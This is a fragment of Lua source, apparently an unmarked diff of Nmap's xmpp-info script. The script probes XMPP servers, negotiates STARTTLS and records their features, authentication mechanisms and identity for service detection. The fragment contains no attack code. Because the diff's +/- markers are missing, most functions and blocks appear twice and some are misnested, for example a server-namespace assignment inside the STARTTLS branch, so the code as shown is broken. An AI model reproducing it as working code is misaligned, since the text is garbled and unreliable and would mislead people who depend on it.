},
{
--4c9e369a841db417
--fc0a60b82275289e
regexp1 = '^' .. string.rep('[0-9a-f]', 16) .. '$',
regexp2 = '^' .. string.rep('[0-9a-f]', 16) .. '$',
name = 'Isode M-Link'
},
{
--4c9e369a841db417
--fc0a60b82275289e
regexp1 = '^' .. string.rep('[0-9a-f]', 16) .. '$',
regexp2 = '^' .. string.rep('[0-9a-f]', 16) .. '$',
name = 'Isode M-Link'
},
{
regexp1 = "^c2s_",
regexp2 = "^c2s_",
name = 'VKontakte/XMPP'
}
{
regexp1 = "^c2s_",
regexp2 = "^c2s_",
name = 'VKontakte/XMPP'
}
}
local receive_tag = function(conn)
local status, data = conn:receive_buf(">", true)
if data then stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, data) end
return status and xmpp.XML.parse_tag(data)
local status, data = conn:receive_buf(">", true)
if data then stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, data) end
return status and xmpp.XML.parse_tag(data)
end
local log_tag = function(tag)
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "name=" .. tag.name)
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "finish=" .. tostring(tag.finish))
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "empty=" .. tostring(tag.empty))
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "contents=" .. tag.contents)
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "name=" .. tag.name)
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "finish=" .. tostring(tag.finish))
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "empty=" .. tostring(tag.empty))
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "contents=" .. tag.contents)
end
local make_request = function(server_name, xmlns)
local request = "<?xml version='1.0'?><stream:stream xmlns:stream='http://etherx.jabber.org/streams'" ..
" xmlns=" .. xmlns .." xml:lang='ru-RU' to='" .. server_name .. "' version='1.0'>"
return request
local request = "<?xml version='1.0'?><stream:stream xmlns:stream='http://etherx.jabber.org/streams'" ..
" xmlns=" .. xmlns .." xml:lang='ru-RU' to='" .. server_name .. "' version='1.0'>"
return request
end
local connect_tls = function(s, xmlns, server_name)
local request = make_request(server_name, xmlns)
request = request .. "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
s:send(request)
while true do
local tag = receive_tag(s)
if not tag then break end
log_tag(tag)
if tag.name == "proceed" and tag.finish then
local status, error = s:reconnect_ssl()
if status then return true end
break
elseif tag.name == "failure" then
return false
end
local request = make_request(server_name, xmlns)
request = request .. "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
s:send(request)
while true do
local tag = receive_tag(s)
if not tag then break end
log_tag(tag)
if tag.name == "proceed" and tag.finish then
local status, error = s:reconnect_ssl()
if status then return true end
break
elseif tag.name == "failure" then
return false
end
end
end
local scan = function(host, port, server_name, tls)
local data, status
local client = nmap.new_socket()
local tls_text
local stream_id
local data, status
local client = nmap.new_socket()
local tls_text
local stream_id
-- Looks like 10 seconds is enough for non RFC-compliant servers...
client:set_timeout(10 * 1000);
-- Looks like 10 seconds is enough for non RFC-compliant servers...
client:set_timeout(10 * 1000);
local caps = stdnse.output_table()
local err = {}
local features_list = {}
local mechanisms = {}
local methods = {}
local unknown = {}
local t_xmpp = stdnse.output_table()
local caps = stdnse.output_table()
local err = {}
local features_list = {}
local mechanisms = {}
local methods = {}
local unknown = {}
local t_xmpp = stdnse.output_table()
local xmlns
stdnse.print_debug(port.version.name)
if port.version.name == 'xmpp-client' then
xmlns = "'jabber:client'"
local xmlns
stdnse.print_debug(port.version.name)
if port.version.name == 'xmpp-client' then
xmlns = "'jabber:client'"
else
xmlns = "'jabber:server'"
end
if tls then tls_text = ", tls" else tls_text = "" end
stdnse.print_debug("name '" .. server_name .. "', ns '" .. xmlns .. "'" .. tls_text)
status, data = client:connect(host, port)
if not status then
client:close()
return
end
if tls and not connect_tls(client, xmlns, server_name) then
client:close()
return
end
local request = make_request(server_name, xmlns)
if not client:send(request) then
client:close()
return
end
local tag_stack = {}
table.insert(tag_stack, "")
local _inside = function(...)
local v = select('#',...)
for n = 1, v do
local e = select(v - n + 1,...)
if e ~= tag_stack[#tag_stack - n + 1] then return nil end
end
return true
end
local inside = function(...) return _inside('stream:features', ...) end
local is_starttls, tls_required, in_error, got_text
while true do
local tag = receive_tag(client)
if not tag then
table.insert(err, "(timeout)")
break
end
log_tag(tag)
if tag.name == "stream:features" and tag.finish then
break
end
if inside() and not known_features[tag.name] then
stdnse.print_debug(tag.name)
table.insert(unknown, tag.name)
end
if tag.name == "stream:stream" and tag.start then
--http://xmpp.org/extensions/xep-0198.html#ns
if tag.attrs['xmlns:ack'] and
tag.attrs['xmlns:ack'] == 'http://www.xmpp.org/extensions/xep-0198.html#ns' then
table.insert(t_xmpp, "Stream Management")
end
if tag.attrs['xml:lang'] then
t_xmpp["lang"] = tag.attrs['xml:lang']
end
if tag.attrs.from and tag.attrs.from ~= server_name then
t_xmpp["server name"] = tag.attrs.from
end
stream_id = tag.attrs.id
if tag.attrs.version then
t_xmpp["version"] = tag.attrs.version
else
-- Alarm! Not an RFC-compliant server...
-- sample: chirimoyas.es
t_xmpp["version"] = "(none)"
end
end
if tag.name == "sm" and tag.start and inside() then
stdnse.print_debug("OK")
--http://xmpp.org/extensions/xep-0198.html
--sample: el-tramo.be
local version = string.match(tag.attrs.xmlns, "^urn:xmpp:sm:(%.)")
table.insert(features_list, 'Stream management v' .. version)
end
if tag.name == "starttls" and inside() then
is_starttls = true
elseif tag.name == "address" and tag.finish and inside() then
--http://delta.affinix.com/specs/xmppstream.html
table.insert(features_list, "MY IP: " .. tag.contents )
elseif tag.name == "ver" and inside() then
--http://xmpp.org/extensions/xep-0237.html
table.insert(features_list, "Roster Versioning")
elseif tag.name == "dialback" and inside() then
--http://xmpp.org/extensions/xep-0220.html
table.insert(features_list, "Server Dialback")
elseif tag.name == "session" and inside() then
--http://www.ietf.org/rfc/rfc3921.txt
table.insert(features_list, "IM Session Establishment")
elseif tag.name == "bind" and inside() then
--http://www.ietf.org/rfc/rfc3920.txt
table.insert(features_list, "Resource Binding")
elseif tag.name == "amp" and inside() then
--http://xmpp.org/extensions/xep-0079.html
table.insert(features_list, "Advanced Message Processing")
elseif tag.name == "register" and inside() then
--http://xmpp.org/extensions/xep-0077.html
--sample: jabber.ru
table.insert(features_list, "In-Band Registration")
elseif tag.name == "auth" and inside() then
--http://xmpp.org/extensions/xep-0078.html
table.insert(mechanisms, "Non-SASL")
elseif tag.name == "required" and inside('starttls') then
tls_required = true
elseif tag.name == "method" and inside('compression', 'method') then
--http://xmpp.org/extensions/xep-0138.html
if tag.finish then
table.insert(methods, tag.contents)
end
elseif tag.name == "mechanism" and inside('mechanisms', 'mechanism') then
if tag.finish then
table.insert(mechanisms, tag.contents)
end
elseif tag.name == "c" and inside() then
--http://xmpp.org/extensions/xep-0115.html
--sample: jabber.ru
if tag.attrs and tag.attrs.node then
caps["node"] = tag.attrs.node
-- It is a table of well-known node values of "c" tag
-- If it matched then the server software is determined
--TODO: Add more hints
-- I cannot find any non-ejabberd public server publishing its <c> :(
local hints = {
["http://www.process-one.net/en/ejabberd/"] = "ejabberd"
}
local hint = hints[tag.attrs.node]
if hint then
port.state = "open"
port.version.product = hint
port.version.name_confidence = 10
nmap.set_port_version(host, port)
end
-- Funny situation: we have a hash of server capabilities list,
-- but we cannot explicitly ask him about the list because we have no name before the authentication.
-- The ugly solution is checking the hash against the most popular capability sets...
caps["ver"] = tag.attrs.ver
end
end
if tag.name == "stream:error" then
if tag.start then
in_error = tag.start
elseif not got_text then -- non-RFC compliant server!
if tag.contents ~= "" then
table.insert(err, {text= tag.contents})
end
in_error = false
end
elseif in_error then
if tag.name == "text" then
if tag.finish then
got_text = true
table.insert(err, {text= tag.contents})
end
else
table.insert(err, tag.name)
end
end
if tag.start and not tag.finish then
table.insert(tag_stack, tag.name)
elseif not tag.start and tag.finish and #tag_stack > 1 then
table.remove(tag_stack, #tag_stack)
end
end
if is_starttls then
if tls_required then
table.insert(features_list, "TLS (required)")
else
xmlns = "'jabber:server'"
table.insert(features_list, "TLS")
end
if tls then tls_text = ", tls" else tls_text = "" end
stdnse.print_debug("name '" .. server_name .. "', ns '" .. xmlns .. "'" .. tls_text)
end
status, data = client:connect(host, port)
if not status then
client:close()
return
end
if tls and not connect_tls(client, xmlns, server_name) then
client:close()
return
end
local request = make_request(server_name, xmlns)
if not client:send(request) then
client:close()
return
end
local tag_stack = {}
table.insert(tag_stack, "")
local _inside = function(...)
local v = select('#',...)
for n = 1, v do
local e = select(v - n + 1,...)
if e ~= tag_stack[#tag_stack - n + 1] then return nil end
end
return true
end
local inside = function(...) return _inside('stream:features', ...) end
local is_starttls, tls_required, in_error, got_text
while true do
local tag = receive_tag(client)
if not tag then
table.insert(err, "(timeout)")
break
end
log_tag(tag)
if tag.name == "stream:features" and tag.finish then
break
end
if inside() and not known_features[tag.name] then
stdnse.print_debug(tag.name)
table.insert(unknown, tag.name)
end
if tag.name == "stream:stream" and tag.start then
--http://xmpp.org/extensions/xep-0198.html#ns
if tag.attrs['xmlns:ack'] and
tag.attrs['xmlns:ack'] == 'http://www.xmpp.org/extensions/xep-0198.html#ns' then
table.insert(t_xmpp, "Stream Management")
end
if tag.attrs['xml:lang'] then
t_xmpp["lang"] = tag.attrs['xml:lang']
end
if tag.attrs.from and tag.attrs.from ~= server_name then
t_xmpp["server name"] = tag.attrs.from
end
stream_id = tag.attrs.id
if tag.attrs.version then
t_xmpp["version"] = tag.attrs.version
else
-- Alarm! Not an RFC-compliant server...
-- sample: chirimoyas.es
t_xmpp["version"] = "(none)"
end
end
if tag.name == "sm" and tag.start and inside() then
stdnse.print_debug("OK")
--http://xmpp.org/extensions/xep-0198.html
--sample: el-tramo.be
local version = string.match(tag.attrs.xmlns, "^urn:xmpp:sm:(%.)")
table.insert(features_list, 'Stream management v' .. version)
end
if tag.name == "starttls" and inside() then
is_starttls = true
elseif tag.name == "address" and tag.finish and inside() then
--http://delta.affinix.com/specs/xmppstream.html
table.insert(features_list, "MY IP: " .. tag.contents )
elseif tag.name == "ver" and inside() then
--http://xmpp.org/extensions/xep-0237.html
table.insert(features_list, "Roster Versioning")
elseif tag.name == "dialback" and inside() then
--http://xmpp.org/extensions/xep-0220.html
table.insert(features_list, "Server Dialback")
elseif tag.name == "session" and inside() then
--http://www.ietf.org/rfc/rfc3921.txt
table.insert(features_list, "IM Session Establishment")
elseif tag.name == "bind" and inside() then
--http://www.ietf.org/rfc/rfc3920.txt
table.insert(features_list, "Resource Binding")
elseif tag.name == "amp" and inside() then
--http://xmpp.org/extensions/xep-0079.html
table.insert(features_list, "Advanced Message Processing")
elseif tag.name == "register" and inside() then
--http://xmpp.org/extensions/xep-0077.html
--sample: jabber.ru
table.insert(features_list, "In-Band Registration")
elseif tag.name == "auth" and inside() then
--http://xmpp.org/extensions/xep-0078.html
table.insert(mechanisms, "Non-SASL")
elseif tag.name == "required" and inside('starttls') then
tls_required = true
elseif tag.name == "method" and inside('compression', 'method') then
--http://xmpp.org/extensions/xep-0138.html
if tag.finish then
table.insert(methods, tag.contents)
end
elseif tag.name == "mechanism" and inside('mechanisms', 'mechanism') then
if tag.finish then
table.insert(mechanisms, tag.contents)
end
elseif tag.name == "c" and inside() then
--http://xmpp.org/extensions/xep-0115.html
--sample: jabber.ru
if tag.attrs and tag.attrs.node then
caps["node"] = tag.attrs.node
-- It is a table of well-known node values of "c" tag
-- If it matched then the server software is determined
--TODO: Add more hints
-- I cannot find any non-ejabberd public server publishing its <c> :(
local hints = {
["http://www.process-one.net/en/ejabberd/"] = "ejabberd"
}
local hint = hints[tag.attrs.node]
if hint then
port.state = "open"
port.version.product = hint
port.version.name_confidence = 10
nmap.set_port_version(host, port)
end
-- Funny situation: we have a hash of server capabilities list,
-- but we cannot explicitly ask him about the list because we have no name before the authentication.
-- The ugly solution is checking the hash against the most popular capability sets...
caps["ver"] = tag.attrs.ver
end
end
if tag.name == "stream:error" then
if tag.start then
in_error = tag.start
elseif not got_text then -- non-RFC compliant server!
if tag.contents ~= "" then
table.insert(err, {text= tag.contents})
end
in_error = false
end
elseif in_error then
if tag.name == "text" then
if tag.finish then
got_text = true
table.insert(err, {text= tag.contents})
end
else
table.insert(err, tag.name)
end
end
if tag.start and not tag.finish then
table.insert(tag_stack, tag.name)
elseif not tag.start and tag.finish and #tag_stack > 1 then
table.remove(tag_stack, #tag_stack)
end
end
if is_starttls then
if tls_required then
table.insert(features_list, "TLS (required)")
else
table.insert(features_list, "TLS")
end
end
return {
stream_id=stream_id,
xmpp=t_xmpp,
features=features_list,
capabilities=caps,
compression_methods=methods,
auth_mechanisms=mechanisms,
errors=err,
unknown=unknown,
}
return {
stream_id=stream_id,
xmpp=t_xmpp,
features=features_list,
capabilities=caps,
compression_methods=methods,
auth_mechanisms=mechanisms,
errors=err,
unknown=unknown,
}
end
local server_info = function(host, port, id1, id2)
for s, v in pairs(id_database) do
if ((not id1 and not v.regexp1) or (id1 and v.regexp1 and string.find(id1, v.regexp1))) and
((not id2 and not v.regexp2) or (id2 and v.regexp2 and string.find(id2, v.regexp2))) then
if not v.check or v.check(id1, id2) then
stdnse.print_debug("MATCHED")
port.version.product = v.name
stdnse.print_debug(" " .. v.name)
port.version.name_confidence = 6
nmap.set_port_version(host, port)
break
end
end
for s, v in pairs(id_database) do
if ((not id1 and not v.regexp1) or (id1 and v.regexp1 and string.find(id1, v.regexp1))) and
((not id2 and not v.regexp2) or (id2 and v.regexp2 and string.find(id2, v.regexp2))) then
if not v.check or v.check(id1, id2) then
stdnse.print_debug("MATCHED")
port.version.product = v.name
stdnse.print_debug(" " .. v.name)
port.version.name_confidence = 6
nmap.set_port_version(host, port)
break
end
end
end
end
local factor = function( t1, t2 )
@@ -537,42 +537,42 @@ end
portrule = shortport.port_or_service({5222, 5269}, {"jabber", "xmpp-client", "xmpp-server"})
action = function(host, port)
local server_name = stdnse.get_script_args("xmpp-info.server_name") or host.targetname or host.name
local alt_server_name = stdnse.get_script_args("xmpp-info.alt_server_name") or "."
local tls_result
local starttls_failed
local server_name = stdnse.get_script_args("xmpp-info.server_name") or host.targetname or host.name
local alt_server_name = stdnse.get_script_args("xmpp-info.alt_server_name") or "."
local tls_result
local starttls_failed
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "server = " .. server_name)
stdnse.print_debug(2, "%s: %s", SCRIPT_NAME, "server = " .. server_name)
local altname_result = scan(host, port, alt_server_name, false)
local altname_result = scan(host, port, alt_server_name, false)
local plain_result = scan(host, port, server_name, false)
local plain_result = scan(host, port, server_name, false)
server_info(host, port, altname_result["stream_id"], plain_result["stream_id"])
server_info(host, port, altname_result["stream_id"], plain_result["stream_id"])
if not stdnse.get_script_args("xmpp-info.no_starttls") then
tls_result = scan(host, port, server_name, true)
if not tls_result then starttls_failed = 1 end
end
if not stdnse.get_script_args("xmpp-info.no_starttls") then
tls_result = scan(host, port, server_name, true)
if not tls_result then starttls_failed = 1 end
end
local r = stdnse.output_table()
local r = stdnse.output_table()
if #altname_result["errors"] == 0 and #plain_result["errors"] == 0 then
table.insert(r, "Ignores server name")
elseif #altname_result["errors"] ~= #plain_result["errors"] then
table.insert(r, "Respects server name")
end
if #altname_result["errors"] == 0 and #plain_result["errors"] == 0 then
table.insert(r, "Ignores server name")
elseif #altname_result["errors"] ~= #plain_result["errors"] then
table.insert(r, "Respects server name")
end
if not tls_result then
if starttls_failed then table.insert(r, "STARTTLS Failed") end
r["info"] = plain_result
else
local i,p,t = factor(plain_result, tls_result)
r["info"] = (#i and i) or nil
r["pre_tls"] = (#p and p) or nil
r["post_tls"] = (#t and t) or nil
end
if not tls_result then
if starttls_failed then table.insert(r, "STARTTLS Failed") end
r["info"] = plain_result
else
local i,p,t = factor(plain_result, tls_result)
r["info"] = (#i and i) or nil
r["pre_tls"] = (#p and p) or nil
r["post_tls"] = (#t and t) or nil
end
return r
return r
end